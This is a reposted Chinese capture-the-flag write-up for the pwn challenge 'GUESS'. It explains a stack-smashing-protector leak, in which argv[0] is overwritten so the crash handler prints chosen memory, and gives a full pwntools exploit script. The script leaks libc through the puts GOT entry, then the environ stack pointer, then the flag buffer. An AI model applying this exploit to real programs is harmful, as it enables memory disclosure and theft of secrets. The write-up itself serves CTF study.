zoukankan      html  css  js  c++  java
  • pwn-GUESS

    参考了其他wp之后才慢慢做出来的 记录一下

    首先checksec一下 有canary

    放到IDA看下源码

    运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary

    本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读

    源码中有open("./flag.txt")即已经读到缓冲区,需要打印buf中flag值

    思路:有三次输入机会(提前计算出offset)

    1:利用puts函数leak出libc基地址

    2:计算出stack上的环境变量environ的实际地址

    3:算出environ与buf中flag的偏移量,打印flag

    其中,断点打在gets函数和environ变量上

    可以算出buf与environ的差值:0x7fffffffe018 - 0x7fffffffdeb0 = 0x168

    exp:

    from pwn import *
    
    
    elf = ELF('./GUESS')
    libc = ELF('./libc6_2.19-0ubuntu6.14_amd64.so')
    
    
    
    
    def get_offset():
            for i in range(0x80,0x180):
                    p = elf.process()
                    p.recvuntil('flag
    ')
                    p.sendline('1'*i+p64(0x0400C90))
                    p.recvline()
                    x = p.recvline()
                    p.close()
                    if "six" in x:
                            print hex(i),x
                            exit(0)
    
    
    def leak_data(p,addr):
            p.recvuntil("flag
    ")
            p.sendline("1" * 0x128 + p64(addr) )
            p.recvuntil('***: ')
    
    def leak_address(p,address):
            leak_data(p,address)
            leak = u64(p.recv(6) + 'x00' * 2)
            return leak
    
    
    p = elf.process()
    
    #1:
    
    libc_address = leak_address(p,elf.got['puts']) - libc.symbols['puts']
    info('libc: ' + hex(libc_address))
    
    
    #2:
    environ_address = libc.symbols['environ'] + libc_address
    environ = leak_address(p,environ_address)
    info('stack address : ' + hex(environ))
    
    
    #3:
    flag_address = environ - 0x168
    leak_data(p,flag_address)
    print p.recvline()
  • 相关阅读:
    JQuery中serialize()、serializeArray()和param()方法示例介绍
    新的跨域策略:使用COOP、COEP为浏览器创建更安全的环境
    react的状态提升
    HTTP/0.9、HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3各版本之间的区别?
    面试常见的http问题
    什么是模块化?
    什么是Node js
    Asynchronous
    初识ajax
    浅拷贝与深拷贝
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9581857.html
Copyright © 2011-2022 走看看